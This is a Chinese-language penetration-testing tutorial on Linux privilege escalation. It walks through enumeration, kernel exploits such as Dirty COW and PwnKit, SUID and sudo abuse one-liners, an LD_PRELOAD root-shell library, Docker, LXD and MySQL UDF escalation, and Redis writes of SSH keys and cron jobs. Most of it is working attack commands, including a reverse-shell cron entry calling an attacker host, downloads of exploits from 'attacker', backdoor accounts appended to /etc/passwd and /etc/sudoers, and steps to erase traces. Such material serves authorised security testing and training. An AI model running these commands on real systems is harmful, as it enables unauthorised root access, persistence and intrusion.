内网渗透 - Linux 提权一文速通

内网渗透 — Linux 提权
一、提权方法总览

权限提升(Privilege Escalation) 指从低权限账户(Web 服务用户、普通用户)获取更高权限(通常为 root)的过程,分为两类:
- 垂直提权:普通用户 → root(本文重点);
- 水平提权:用户 A → 用户 B(同级切换,常借助凭证窃取/计划任务/SSH 密钥等)。
整体思路流程:
信息收集(内核/服务/权限/配置)
│
├── 有无可用本地服务? ──► 第三方服务提权(Docker / Redis / MySQL)
├── 有无特殊权限文件? ──► SUID / Capabilities / 可写敏感文件
├── sudo -l 有无 NOPASSWD? ──► Sudo 提权 / sudo 漏洞
├── 有无 root 计划任务? ──► 计划任务劫持
└── 以上都没有 ──────────► 内核漏洞提权
主要分类一览:
| 分类 | 核心思路 | 典型示例 |
|---|---|---|
| 内核提权 | 利用内核自身漏洞,通杀性强但有崩溃风险 | 脏牛 Dirty COW、Dirty Pipe、PwnKit |
| SUID 提权 | 利用属主为 root 且带 SUID 位的可执行文件 | find / vim / awk / bash -p |
| Sudo 提权 | 滥用 sudo 白名单配置或 sudo 自身漏洞 | sudo vi、Baron Samedit(CVE-2021-3156) |
| 第三方服务提权 | root 身份运行的本地服务缺乏认证 | Docker 组、MySQL UDF、Redis 写 SSH key |
| 配置/凭证提权 | 利用可写文件、计划任务、Capabilities、凭证复用 | 可写 /etc/passwd、root crontab 脚本可写 |
二、开始之前 — 基础信息收集

进入目标主机后(如通过 Webshell / 反弹 shell),先进行基础信息收集,为选择提权路径做准备。核心目标:搞清楚内核/发行版版本(用于搜内核 EXP)、以 root 运行的服务、带特殊权限的文件、以及任何可写入的关键位置。
提示:逐条执行慢且容易遗漏,实战中通常先跑一遍一键枚举脚本(见 2.8),再针对可疑点手工深入。
2.1 内核、操作系统和设备信息
uname -a # 所有系统信息(内核版本、架构)
uname -o # 操作系统类型
uname -n # 主机名
uname -r # 内核版本(重点记录,用于匹配内核 EXP)
uname -m # 系统架构(x86_64 / i686,编译 EXP 时要对应)
lsb_release -a # 发行版信息
hostnamectl # 主机名、内核、发行版综合信息
cat /etc/*-release # 发行版信息
cat /etc/issue # 发行版信息
cat /proc/version # 内核信息及编译信息
cat /proc/cpuinfo # CPU 信息
cat /proc/meminfo # 内存信息(评估跑内核 EXP 的可行性)
uptime # 系统运行时长及负载
cat /etc/os-release # systemd 系统上的发行版信息
2.2 用户和群组
whoami # 当前用户名
id # 当前用户 uid/gid/所属组(注意 euid)
cat /etc/passwd # 系统所有用户
cat /etc/shadow # 用户密码哈希(低权限通常不可读,能读即提权线索)
cat /etc/group # 系统所有组
groups # 当前用户所在的组
groups test # test 用户所在的组
getent group docker # 查看 docker 组的成员(换成任意组名)
awk -F: '$3 == 0 {print $1}' /etc/passwd # 列出所有 UID=0 的超级用户账户
w # 当前已登录用户及其活动
last # 最近登录用户列表
lastlog # 所有用户上次登录信息
lastlog -u <username> # 指定用户上次登录信息
重点关注:当前用户是否位于 docker、lxd、adm、disk、video、shadow 等高权限组——这些组成员身份本身可能就是提权路径(见第六章)。
2.3 环境信息
env # 显示环境变量(注意 PATH、LD_PRELOAD、http_proxy 等)
cat /etc/shells # 系统可用的 shell
echo $PATH # 当前 PATH(判断是否存在 PATH 劫持机会)
sudo -V # sudo 版本(用于对照 sudo 历史 CVE)
cat /etc/profile # 全局环境变量
cat /proc/1/environ # init 进程环境变量(需要权限)
2.4 进程和服务
ps aux # 所有进程
ps aux | grep root # 以 root 身份运行的进程(第三方服务提权线索)
ps aux | grep <svc> # 指定服务,如 mysql / redis / docker
netstat -antup # 所有打开并监听的端口与对应进程
ss -antp # netstat 的现代替代
lsof -i -P -n # 打开的网络连接
systemctl list-units --type=service --state=running # 运行中的服务(systemd 系统)
重点观察只监听 127.0.0.1 的端口:这类服务外网不可达,但本机的低权限 shell 可以直接访问(如 Redis 6379、Docker API、内部管理面板)。
2.5 计划任务
crontab -l # 当前用户的 crontab
crontab -l -u <user> # 指定用户的 crontab(需要权限)
cat /etc/crontab # 系统 crontab
ls -al /etc/cron.* # cron.hourly / daily / weekly / monthly
ls -al /var/spool/cron/ # 用户计划任务存储目录
关注点:root 计划任务所执行的脚本文件是否可被当前用户写入/替换(见 7.1)。
2.6 软件安装与包信息
dpkg -l # Debian/Ubuntu 已安装包及版本
rpm -qa # RHEL/CentOS 已安装包及版本
pacman -Q # Arch
cat /etc/fstab # 已挂载文件系统(注意 NFS、noexec/nosuid 选项)
df -h # 磁盘挂载情况
mount # 当前挂载信息
2.7 文件权限速查
# 查找当前用户可写的敏感目录/文件
find / -writable -type d 2>/dev/null
find /etc -writable 2>/dev/null
# SUID / SGID 文件
find / -perm -u=s -type f 2>/dev/null
find / -perm -g=s -type f 2>/dev/null
# Linux Capabilities 文件
getcap -r / 2>/dev/null
# 关键文件是否可写(任何一条为真都是直接提权路径)
ls -l /etc/passwd /etc/shadow /etc/sudoers
# SSH 相关
cat ~/.ssh/authorized_keys 2>/dev/null
cat ~/.ssh/id_rsa 2>/dev/null
ls -la /root/.ssh/ 2>/dev/null
# 历史文件(常含密码、运维命令)
cat ~/.bash_history
cat ~/.mysql_history
cat ~/.python_history
2.8 一键枚举脚本
| 工具 | 说明 | 地址 |
|---|---|---|
| LinPEAS | 最全的一键枚举脚本,红/黄高亮标记大概率可利用点 | github.com/peass-ng/PEASS-ng/tree/master/linPEAS |
| LinEnum | 经典 Linux 枚举脚本 | github.com/rebootuser/LinEnum |
| linuxprivchecker.py | Python 单文件枚举,无需编译 | github.com/sleventyeleven/linuxprivchecker |
| pspy | 无 root 权限监控进程创建,用于”抓”隐藏的 root 定时任务 | github.com/DominicBreuker/pspy |
| BeRoot | 枚举 + 自动尝试部分提权 | github.com/AlessandroZ/BeRoot |
典型用法:
# 上传后执行(目标无 python 时用编译好的二进制版 LinPEAS)
chmod +x linpeas.sh
./linpeas.sh -a > /tmp/linpeas.txt 2>&1 # -a 做全面检查
# 目标可出网时直接下载
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh -o /tmp/lp.sh
bash /tmp/lp.sh | tee /tmp/lp.out
三、内核提权

原理:利用已知的内核自身漏洞(本地越界、竞态、UAF 等)实现本地提权,多为”通杀”型。大多数内核漏洞可通过 uname -r 得到的内核版本号快速比对。
风险提示:
- 内核 EXP 直接在内核态操作内存,存在导致目标系统崩溃(kernel panic)的风险,生产环境务必谨慎,有条件时先在测试环境中验证;
- 很多 EXP 需要
gcc在目标机上编译,若目标无编译环境,需在相同架构、相近发行版的机器上静态编译后上传; - 高版本发行版通常开启了 KASLR、SMEP、SMAP 等缓解措施,老 EXP 可能失效。
3.1 漏洞搜索:searchsploit
用 Kali 自带的 searchsploit 搜索 Exploit-DB 中的公开 EXP:
# 基本搜索:任意关键词组合
searchsploit linux 2.6 ubuntu priv esc
# 按内核版本模糊搜
searchsploit linux kernel 3.13 priv esc
# 常用参数
searchsploit -p <EDB-ID> # 显示漏洞利用的完整本地路径
searchsploit -m <EDB-ID> # 把 EXP 拷贝到当前工作目录
searchsploit -t <keyword> # 仅匹配标题
searchsploit --exclude="POC" # 排除仅 PoC 的条目
也可以直接在 https://www.exploit-db.com 或 GitHub 按 CVE + 内核版本 搜索。选定 EXP 后需核对:影响内核版本区间、32/64 位、依赖(如 libssl-dev)。
3.2 EXP 编译与传输
# 编译方法通常写在源码头部注释中
gcc -pthread exp.c -o exp -lcrypt
gcc -static -o exp exp.c # 静态编译,降低目标机缺库的概率
# 上传方式(按目标出网能力选择)
wget http://attacker/exp -O /tmp/exp # 在目标机执行
python3 -m http.server 8080 # 攻击机开 HTTP
scp exp user@target:/tmp/ # 有 SSH 凭证时
base64 exp | tr -d '\n' # 小文件可用 base64 复制粘贴
3.3 脏牛漏洞(Dirty COW,CVE-2016-5195)
- 漏洞编号:CVE-2016-5195
- 漏洞名称:脏牛(Dirty COW)
- 漏洞原理:
get_user_pages内核函数在处理 Copy-on-Write(COW,写时复制)过程中存在竞态条件,导致 COW 机制被破坏,攻击者获得向进程地址空间中只读内存区域写数据的机会。利用这一点可修改/etc/passwd或su、passwd等只读文件,从而提权。 - 漏洞危害:低权限用户利用该漏洞可在全版本上实现本地提权,稳定性较好。
- 影响范围:Linux kernel ≥ 2.6.22 且 < 4.8.3(修复版本:4.7.7 / 4.4.26 LTS / 3.10.0-327.36.3.el7 等);Android 同样受影响。
- PoC:https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
利用示例(passwd 覆写型 PoC):
gcc -pthread dirty.c -o dirty -lcrypt # 编译
./dirty newpass # 修改 root 密码为 newpass
su root # 切换为 root
3.4 Dirty Pipe(CVE-2022-0847)
- 漏洞原理:pipe(管道)结构中的
PIPE_BUF_FLAG_CAN_MERGE标志位在特定条件下未被正确初始化/清除,导致非特权进程可向任意只读文件的页缓存中追加写入数据,从而篡改只读文件。 - 影响范围:5.8 ≤ Linux kernel < 5.16.11 / 5.15.25 / 5.10.102。
- 典型利用:覆写
/etc/passwd(把某用户改为无密码 root)或/etc/shadow的 root 哈希。 - PoC:https://dirtypipe.cm4all.com/(原作者说明及 PoC)、
github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits。
3.5 PwnKit(CVE-2021-4034)
- 漏洞原理:polkit 的
pkexec在main()处理argc=0的异常参数时存在越界写,攻击者可控制环境变量实现任意代码执行。pkexec默认带 SUID root,几乎所有桌面与服务器发行版出厂即受影响。 - 影响范围:polkit 自 2009 年 5 月版本以来的所有版本(0.96 起),修复前影响面极广。
- 检测:
pkexec --version结合发行版补丁信息;或检查ls -l $(which pkexec)是否仍有 SUID。 - 利用:
github.com/ly4k/PwnKit、github.com/arthepsy/CVE-2021-4034(编译运行即可获得 root shell)。
3.6 其他常见内核提权漏洞速查
| CVE | 名称 | 影响版本(大致) | 备注 |
|---|---|---|---|
| CVE-2017-1000112 | UFO 溢出 | 4.4 ~ 4.13 | UDP 分片,EDB-48134 等 |
| CVE-2019-13272 | ptrace 提权 | 4.10 ~ 5.1.x | 需目标有 gdm/xfce4/X 等 pkexec 场景 |
| CVE-2021-22555 | netfilter 堆溢出 | 2.6.19 ~ 5.9 | Google 披露,PoC 完整 |
| CVE-2022-34918 | netfilter 堆溢出 | < 5.18.16 | 有成熟 EXP |
| CVE-2024-1086 | nftables UAF | 3.15 ~ 6.1.x 部分 | 稳定性较好,影响面广 |
使用任何内核 EXP 前,务必确认目标内核落在 EXP 声称的影响区间内,并优先选择带
-static编译说明的版本。
四、SUID 提权

4.1 原理
SUID 全称 Set owner User ID up on execution。设置了 SUID 位(权限位显示为 s,八进制 4000)的可执行文件,任何人执行时都会临时以文件属主的权限运行。
- 只有当程序属主是 root(UID 0)且文件带 SUID 位时,才可能用于提权;
- SUID 只影响进程的有效用户(EUID),派生的 shell 默认会把 EUID 降回真实 UID,因此通常需要
bash -p(-p保留特权)或程序自身的命令执行能力; - 并非所有 SUID 程序都可利用,可对照 GTFOBins(https://gtfobins.github.io/ )按
程序名 + SUID查询已知利用方法。
4.2 枚举 SUID 文件
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -type f 2>/dev/null
find / -user root -perm -4000 -type f -exec ls -l {} \; 2>/dev/null
将结果与 GTFOBins 对照;同时留意自研程序(不在白名单内的 suid 二进制)——它们往往存在命令拼接、参数注入等缺陷。
4.3 常见 SUID 程序提权
find
find . -exec /bin/bash -p \; # 获得一个 root shell(-p 保留 SUID 特权)
bash / sh
若 bash 本身被设置了 SUID(少见但致命):
/bin/bash -p # -p 保证不降权
vim / vi
vim 以 SUID 运行时,继承 root 权限,可直接读写仅 root 可读的文件:
vim /etc/shadow # 读取/修改密码哈希
注意:多数发行版中 vim 执行 SUID 时
:!sh派生的 shell 会降权,读取/写入敏感文件(shadow、sudoers、authorized_keys)更可靠;部分编译版本支持:py import os;os.setuid(0);os.system('/bin/bash')。
awk
awk 'BEGIN {system("/bin/bash -p")}'
python / perl / php
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
perl -e 'use POSIX qw(setuid); setuid(0); exec "/bin/bash";'
less / more
less /etc/profile
#!/bin/sh
!/bin/bash -p # 在 less 命令模式中执行
tar
tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec="/bin/bash -p"
env
env /bin/bash -p
cp / mv
# 用 cp 覆盖 /etc/passwd,预先构造好带 uid=0 的账户行
cp fake_passwd /etc/passwd
nmap(老版本 4.11 ~ 5.21)
nmap --interactive
nmap> !sh
读取类(cat / strings / base64 / od)
带 SUID 时可直接读取 /etc/shadow:
base64 /etc/shadow
strings /etc/shadow
4.4 自研 SUID 程序
遇到非标准程序(如 /usr/local/bin/backup)带 SUID root 时:
strings、ltrace(如有)观察其行为;- 检查是否调用了相对路径命令(可 PATH 劫持)、是否拼接用户可控参数;
- 反编译分析(拖回本地用 IDA/Ghidra)。
五、Sudo 提权

一旦攻击者能以某个用户身份使用 SUDO(尤其是配置了 NOPASSWD 的情形),基本等于可以以 root 权限执行任意命令。
5.1 枚举:sudo -l
sudo -l # 列出当前用户允许的 sudo 命令(有 NOPASSWD 时无需密码)
sudo -l -U user # 列出指定用户的 sudo 权限(需要一定权限)
sudo --version # 查看版本,对照历史 CVE
拿到白名单命令后,同样去 GTFOBins(sudo 场景) 查询利用方式。
5.2 无密码(NOPASSWD)
典型例子,允许 sudo vi:
sudo vi test.txt
# 进入底线命令模式后执行:
:/bin/bash → :!/bin/bash # 获得 root shell
更多 GTFOBins 常见 sudo 利用(均为 sudo <cmd> 形式):
sudo awk 'BEGIN {system("/bin/bash")}'
sudo find . -exec /bin/bash \;
sudo less /etc/profile # 命令模式 !/bin/bash
sudo tar cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
sudo python3 -c 'import os; os.execl("/bin/sh","sh")' # sudo 本身已提权,无需 -p
sudo tee /etc/sudoers <<< "attacker ALL=(ALL) NOPASSWD: ALL" # sudo tee 追加 sudoers
sudo nmap --interactive # 老版本
sudo apt-get changelog # !/bin/bash(Debian 系)
sudo scp -S /bin/bash x 'x:;' # -S 指定任意程序并保留提权
5.3 有密码
若已知当前用户密码且其在 sudoers 中拥有完整权限:
sudo -i # 直接切换 root
sudo su
sudo bash
5.4 利用 LD_PRELOAD 环境变量(env_keep)
若 sudo -l 输出包含 Defaults env_keep += LD_PRELOAD(或 env_keep 保留了 LD_PRELOAD),则可通过预加载共享库劫持任意被 sudo 白名单允许的程序:
// shell.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
gcc -fPIC -shared -nostartfiles -o /tmp/shell.so shell.c
sudo LD_PRELOAD=/tmp/shell.so <任意sudo白名单命令> # 触发 _init 弹 shell
5.5 sudo 配置缺陷(CVE-2019-14287)
当 /etc/sudoers 配置为 ALL,!root(允许以除 root 外任意用户执行)时:
sudo -u#-1 id # sudo < 1.8.28 将 -1 解析为 0,实际以 root 执行
sudo -u#4294967295 id
5.6 Linux sudo 权限提升漏洞(CVE-2021-3156,Baron Sammit/Baron Samedit)
- 漏洞原理:sudo 使用
-s或-i在 shell 模式下运行命令时,会用反斜杠转义特殊字符;但当使用-s/-i运行sudoedit时并不会执行转义,命令行中未转义的反斜杠导致堆缓冲区溢出。只要系统中存在 sudoers 文件(通常是/etc/sudoers),任何本地普通用户(无需在 sudoers 中注册)即可利用获得 root。 - 影响范围:sudo 1.8.2 ~ 1.8.31p2、1.9.0 ~ 1.9.5p1。
- 快速检测:
sudoedit -s '\' $(python3 -c 'print("A"*100000)')
# 存在漏洞:内存错误/段错误(memory corruption)
# 已修复:提示正常 usage 报错
- PoC:https://github.com/worawit/CVE-2021-3156 、https://github.com/blasty/CVE-2021-3156
5.7 sudoedit 任意文件写入(CVE-2023-22809)
- 影响范围:sudo 1.8.0 ~ 1.9.12p1。
- 原理:sudoedit 对编辑器参数中的
--处理不当,允许通过环境变量绕过文件名过滤,向任意文件写入,常用来写/etc/sudoers:
export EDITOR="vi -- /etc/sudoers"
sudoedit /etc/sudoers # 需要 sudoers 里有 sudoedit 条目
# 编辑器中追加:attacker ALL=(ALL) NOPASSWD: ALL
六、第三方服务提权

当某些第三方服务以 root 身份运行且可被本地低权限用户访问时,借它执行的操作即为 root 权限。枚举入口:
netstat -antup # 所有监听端口(重点看 127.0.0.1 的服务)
ss -antp
ps aux | grep root # root 运行的服务
6.1 Docker 组提权
docker 守护进程默认允许 root 用户和 docker 组用户通过 /var/run/docker.sock 完全控制 Docker——这实质上等价于免密 root。docker 组用户可通过挂载宿主机根目录逃逸到宿主机文件系统:
方式一:公开镜像一键提权
docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
# -v /:/hostOS 将宿主机根目录挂载进容器
# 镜像启动脚本 exploit.sh 会 chroot 到 /hostOS 并获取宿主机 root 权限
方式二:本地镜像手动版(目标无法出网时更稳)
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# 若已有本地镜像(如 busybox/centos),同理 -v /:/mnt 后 chroot /mnt
方式三:直接操作 socket(无 docker 命令时)
# 若 docker.sock 对当前用户可读,可用 curl 调 Docker API
curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json
6.2 MySQL UDF 提权
前提:
- MySQL 以 root 身份运行;
- 已拿到 MySQL 可写文件的账号(通常需 root 账号或 FILE 权限);
secure_file_priv为空(为空才允许导出到任意路径),检查:
SHOW VARIABLES LIKE "secure_file_priv";
UDF 函数说明(sqlmap 自带 lib_mysqludf_sys):
| 函数 | 作用 |
|---|---|
sys_eval |
执行任意命令并返回输出 |
sys_exec |
执行任意命令并返回退出码 |
sys_get |
获取环境变量 |
sys_set |
创建/修改环境变量 |
获取与解码 UDF 文件:sqlmap 自带 UDF 文件(区分系统/位数),为防止误杀做了异或编码,使用前需用 cloak.py 解码:
# Windows 版目录示例
# sqlmap\udf\mysql\windows\32\lib_mysqludf_sys.dll_
python sqlmap\extra\cloak\cloak.py -d -i lib_mysqludf_sys.dll_ -o lib_mysqludf_sys.dll
# Linux 版在 sqlmap/udf/mysql/linux/ 下,为 .so 文件
提权步骤(Linux):
SELECT @@plugin_dir; -- 查看插件目录,如 /usr/lib/mysql/plugin/
SELECT @@basedir; -- MySQL 安装目录
-- 将解码后的 .so 转为十六进制后写出(0x后跟十六进制内容)
SELECT 0x7f454c46... INTO dumpfile '/usr/lib/mysql/plugin/udf.so';
-- 若 plugin 目录不存在,需先想办法创建目录
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';
SELECT * FROM mysql.func WHERE name = 'sys_eval'; -- 确认创建成功
SELECT sys_eval('id'); -- 执行系统命令(root 权限)
版本差异补充(Windows 环境):MySQL < 5.0 导出路径随意;5.0 ≤ 版本 < 5.1 需导出至系统目录;≥ 5.1 必须放到
lib\plugin目录,目录不存在时可用 NTFS ADS(::$INDEX_ALLOCATION)创建目录。
痕迹清除:
DROP FUNCTION sys_eval;
DELETE FROM mysql.func WHERE name='sys_eval';
6.3 Redis 未授权提权
Redis 默认绑定 0.0.0.0/6379 且无认证;若以 root 身份运行,攻击者可利用 Redis 直接写入 SSH 公钥或计划任务。
方式一:写 SSH 公钥(最常用)
redis-cli -h <target>
> set pwn "\n\nssh-rsa AAAA...(你的公钥)...\n\n"
> config set dir /root/.ssh
> config set dbfilename authorized_keys
> save
# 随后 ssh -i id_rsa root@target
方式二:写计划任务(CentOS/RHEL,/etc/cron.d 或 crontab 路径)
> set cron "\n\n* * * * * /bin/bash -c 'bash -i >& /dev/tcp/<attacker>/4444 0>&1'\n\n"
> config set dir /var/spool/cron
> config set dbfilename root
> save
方式三:写 Webshell(Web 目录下写 db 文件,需 Web 服务可读)。
限制:RDB 文件头尾有二进制垃圾,写 authorized_keys 前用 \n\n 分隔通常可行;Debian 系对 cron 文件格式严格,/etc/cron.d 方式成功率更高。
6.4 LXC / LXD 组提权
lxd 组成员可构建特权容器并挂载宿主机根目录:
lxd init # 初始化(如未初始化)
lxc image import alpine.tar.gz rootfs.squashfs --alias alpine
lxc init alpine privesc -c security.privileged=true
lxc config device add privesc host disk source=/ path=/mnt/root recursive=true
lxc start privesc
lxc exec privesc -- /bin/sh
chroot /mnt/root # 即宿主机根文件系统
(alpine 镜像构建:https://github.com/saghul/lxd-alpine-builder)
七、其他常见提权方式

7.1 计划任务(Cron)
思路:root 的计划任务若调用了低权限用户可写的脚本/可执行文件,即可被替换执行。
- 脚本可写:
ls -l检查/etc/cron.*、/var/spool/cron/、/etc/crontab中引用的脚本;可写则直接改写内容或cp替换。 - PATH 劫持:脚本中使用相对命令名(如
tar、backup.sh里调用curl)且 PATH 可被影响时,在/tmp放同名恶意文件并劫持 PATH。 - 通配符注入(经典 tar 示例):
# root 定时任务:tar czf /backup/site.tar.gz -C /var/www .
cd /var/www
echo "chmod u+s /bin/bash" > exploit.sh
echo "" > "--checkpoint-action=exec=sh exploit.sh"
echo "" > "--checkpoint=1"
# 下次 tar 触发时参数注入,bash 变为 SUID
- 看不到 root crontab 时:用
pspy实时监控进程,捕获周期性 root 命令:
./pspy64 -pf -i 1000
7.2 Linux Capabilities
Capabilities 把 root 超级权限拆分为细粒度能力;文件带特定 capability 时同样可提权:
getcap -r / 2>/dev/null | grep -E 'cap_setuid|cap_setgid|cap_sys_ptrace|cap_dac_read_search|cap_sys_admin|cap_net_admin'
# 带 cap_setuid 的 python
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# 带 cap_dac_read_search 的 tar,可直接读取任意文件
tar cf shadow.tar /etc/shadow
7.3 可写关键文件
# 1) /etc/passwd 可写 —— 直接追加 UID=0 账户
openssl passwd -1 -salt evil 123456 # 生成密码哈希
echo 'evil:$1$evil$...::0:0::/root:/bin/bash' >> /etc/passwd
su evil # 密码 123456
# 2) /etc/sudoers 可写
echo 'attacker ALL=(ALL) NOPASSWD: ALL' >> /etc/sudoers
# 3) root 的 authorized_keys 可写 —— 直接种 SSH 公钥
cat id_rsa.pub >> /root/.ssh/authorized_keys
7.4 NFS no_root_squash
若 NFS 导出配置了 no_root_squash,客户端的 root 访问共享目录时保留 root 权限:
showmount -e <target> # 查看导出目录
mount -t nfs <target>:/shared /tmp/mnt
cd /tmp/mnt && cp /bin/bash ./shell && chmod u+s shell # 制作 SUID shell
# 在目标机上执行 /shared/shell -p
7.5 SSH 相关
- 读取其他用户的
~/.ssh/id_rsa私钥,直接 SSH 登录; ~/.ssh/authorized_keys可写 → 种公钥;- 检查
ssh-agent转发、堡垒机场景下复用已认证的 socket; - 密码复用:运维常在多处使用相同密码,拿到的口令尝试
su、sudo、SSH。
7.6 历史与配置文件泄露凭证
cat ~/.bash_history | grep -E 'pass|sudo|su|mysql|ssh'
find / -name "*.conf" -o -name "*.ini" -o -name ".env" 2>/dev/null
grep -r "password" /var/www 2>/dev/null
八、提权工具汇总

| 阶段 | 工具 | 用途 |
|---|---|---|
| 信息收集 | LinPEAS / LinEnum | 一键枚举可提权点 |
| 信息收集 | pspy | 监控隐藏进程/定时任务 |
| 信息收集 | BeRoot / unix-privesc-check | 枚举 + 自动验证部分路径 |
| 信息收集 | Metasploit linux/local/... / exploit_suggester |
后渗透阶段自动化建议 |
| 漏洞查询 | searchsploit / Exploit-DB | 内核与服务 EXP |
| 二进制利用 | GTFOBins | SUID / sudo 二进制利用手册 |
| 专项 EXP | PwnKit、Baron Samedit PoC、DirtyPipe EXP | 单个 CVE 直接利用 |